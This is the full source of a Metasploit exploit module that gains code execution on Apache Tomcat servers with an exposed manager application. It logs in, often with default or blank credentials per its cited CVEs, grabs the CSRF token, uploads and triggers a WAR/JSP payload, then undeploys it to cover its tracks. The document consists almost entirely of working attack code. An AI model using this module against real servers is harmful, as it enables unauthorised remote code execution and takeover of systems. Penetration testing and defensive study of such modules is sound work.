Apache Tomcat Manager Code Execution

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

  CSRF_VAR = 'CSRF_NONCE='

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',
      'Description' => %q{
        This module can be used to execute a payload on Apache Tomcat servers that
        have an exposed "manager" application. The payload is uploaded as a WAR archive
        containing a jsp application using a POST request against the /manager/html/upload
        component.

        NOTE: The compatible payload sets vary based on the selected target. For
        example, you must select the Windows target to use native Windows payloads.
      },
      'Author'      => 'rangercha',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          # This is based on jduck's tomcat_mgr_deploy.
          # the tomcat_mgr_deploy o longer works for current versions of tomcat due to
          # CSRF protection tokens. Also PUT requests against the /manager/html/deploy
          # aren't allowed anymore.

          # There is no single vulnerability associated with deployment functionality.
          # Instead, the focus has been on insecure/blank/hardcoded default passwords.

          #  The following references refer to HP Operations Manager
          ['CVE', '2009-3843'],
          ['OSVDB', '60317'],
          ['CVE', '2009-4189'],
          ['OSVDB', '60670'],

          # HP Operations Dashboard
          ['CVE', '2009-4188'],

          # IBM Cognos Express Default user/pass
          ['BID', '38084'],
          ['CVE', '2010-0557'],
          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],

          # IBM Rational Quality Manager and Test Lab Manager
          ['CVE', '2010-4094'],
          ['ZDI', '10-214'],

          # 'admin' password is blank in default Windows installer
          ['CVE', '2009-3548'],
          ['OSVDB', '60176'],
          ['BID', '36954'],

          # tomcat docs
          ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']
        ],
      'Platform'    => %w{ java linux win }, # others?
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 09 2009'))

    register_options(
      [
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password for the specified username']),
        # /cognos_express/manager/ for Cognos Express (19300)
        OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
      ], self.class)
  end

  def check
    res = query_manager
    disconnect

    return CheckCode::Unknown if res.nil?

    if res.code.between?(400, 499)
      vprint_error("#{peer} - Server rejected the credentials")
      return CheckCode::Unknown
    end

    return CheckCode::Safe unless res.code == 200

    # if res.code == 200
    #   there should be access to the Tomcat Manager and to the status page
    res = query_status
    return CheckCode::Unknown unless res

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)
    return CheckCode::Unknown unless plat and arch

    vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")

    report_auth_info(
      :host   => rhost,
      :port   => rport,
      :sname  => (ssl ? "https" : "http"),
      :user   => datastore['USERNAME'],
      :pass   => datastore['PASSWORD'],
      :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
      :active => true
    )

    return CheckCode::Appears
  end

  def exploit
    @app_base = rand_text_alphanumeric(4 + rand(32 - 4))
    @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))

    #
    # Find the session ID and the CSRF token
    #
    print_status("#{peer} - Retrieving session ID and CSRF token...")
    unless access_manager?
      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
    end

    #
    # Upload Payload
    #
    print_status("#{peer} - Uploading and deploying #{@app_base}...")
    if upload_payload
      report_auth_info(
        :host   => rhost,
        :port   => rport,
        :sname  => (ssl ? "https" : "http"),
        :user   => datastore['USERNAME'],
        :pass   => datastore['PASSWORD'],
        :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
        :active => true
      )
    else
      fail_with(Failure::Unknown, "Upload failed")
    end

    #
    # Execute Payload
    #
    print_status("#{peer} - Executing #{@app_base}...")
    unless execute_payload
      fail_with(Failure::Unknown, "Failed to execute the payload")
    end

    #
    # Get the new CSRF token & session id
    #
    unless access_manager?
      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
    end

    #
    # Delete the deployed payload
    #
    print_status("#{peer} - Undeploying #{@app_base} ...")
    unless undeploy_app
      print_warning("#{peer} - Failed to undeploy #{@app_base}...")
    end
  end

  def query_status
    path = normalize_uri(target_uri.path.to_s, 'status')
    res = send_request_raw('uri' => path)

    unless res and res.code == 200
      vprint_error("Failed: Error requesting #{path}")
      return nil
    end

    return res
  end

  def query_manager
    path = normalize_uri(target_uri.path.to_s, '/html')
    res = send_request_raw('uri' => path)

    return res
  end

  def vars_get
    vars = {}
    unless @csrf_token.nil?
      vars = {
        "path" => @app_base,
        "org.apache.catalina.filters.CSRF_NONCE" => @csrf_token
      }
    end

    return vars
  end

  def detect_platform(body)
    return nil if body.blank?

    i=0

    body.each_line do |ln|
      ln.chomp!

      i = 1 if ln =~ /OS Name/

      if i == 9 or i == 11
        if ln.include? "Windows"
          return 'win'
        elsif ln.include? "Linux"
          return 'linux'
        elsif i==11
          return 'unknown'
        end
      end

      i = i+1 if i > 0
    end
  end

  def detect_arch(body)
    return nil if body.blank?

    i=0
    body.each_line do |ln|
      ln.chomp!

      i = 1 if ln =~ /OS Architecture/

      if i==9 or i==11
        if ln.include? 'x86'
          return ARCH_X86
        elsif ln.include? 'i386'
          return ARCH_X86
        elsif ln.include? 'i686'
          return ARCH_X86
        elsif ln.include? 'x86_64'
          return ARCH_X86
        elsif ln.include? 'amd64'
          return ARCH_X86
        elsif i==11
          return 'unknown'
        end
      end

      i = i + 1 if i > 0
    end
  end

  def find_csrf(res = nil)
    return "" if res.blank?

    vprint_status("#{peer} - Finding CSRF token...")

    body = res.body

    body.each_line do |ln|
      ln.chomp!
      csrf_nonce = ln.index(CSRF_VAR)
      next if csrf_nonce.nil?
      token = ln[csrf_nonce + CSRF_VAR.length, 32]
      return token
    end

    return ""
  end

  def generate_multipart_msg(boundary, data)
    # Rex::MIME::Message is breaking the binary upload when trying to
    # enforce CRLF for SMTP compatibility
    war_multipart = "-----------------------------"
    war_multipart << boundary
    war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
    war_multipart << @app_base
    war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    war_multipart << data
    war_multipart << "\r\n-----------------------------"
    war_multipart << boundary
    war_multipart << "--\r\n"
  end

  def war_payload
    payload.encoded_war({
      :app_name => @app_base,
      :jsp_name => @jsp_name,
      :arch => target.arch,
      :platform => target.platform
    }).to_s
  end

  def send_war_payload(url, war)
    boundary_identifier = rand_text_numeric(28)

    res = send_request_cgi({
      'uri'          => url,
      'method'       => 'POST',
      'ctype'        => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
      'user'         => datastore['USERNAME'],
      'password'     => datastore['PASSWORD'],
      'cookie'       => @session_id,
      'vars_get'     => vars_get,
      'data'         => generate_multipart_msg(boundary_identifier, war),
    })

    return res
  end

  def send_request_undeploy(url)
    res = send_request_cgi({
      'uri'          => url,
      'vars_get'     => vars_get,
      'method'       => 'POST',
      'user'         => datastore['USERNAME'],
      'password'     => datastore['PASSWORD'],
      'cookie'       => @session_id
    })

    return res
  end

  def access_manager?
    res = query_manager
    return false unless res and res.code == 200
    @session_id = res.get_cookies
    @csrf_token = find_csrf(res)
    return true
  end

  def upload_payload
    war = war_payload
    upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")
    vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...")
    res = send_war_payload(upload_path, war)
    return parse_upload_response(res)
  end

  def parse_upload_response(res)
    unless res
      vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]")
      return false
    end

    if res.code < 200 or res.code >= 300
      vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
      vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
      return false
    end

    return true
  end

  def execute_payload
    jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")

    vprint_status("#{peer} - Executing #{jsp_path}...")

    res = send_request_cgi({
      'uri'          => jsp_path,
      'method'       => 'GET'
    })

    return parse_execute_response(res)
  end

  def parse_execute_response(res)
    unless res
      vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]")
      return false
    end

    if res and (res.code < 200 or res.code >= 300)
      vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]")
      return false
    end

    return true
  end

  def undeploy_app
    undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")
    res = send_request_undeploy(undeploy_url)

    unless res
      vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]")
      return false
    end

    if res and (res.code < 200 or res.code >= 300)
      vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
      return false
    end

    return true
  end

end

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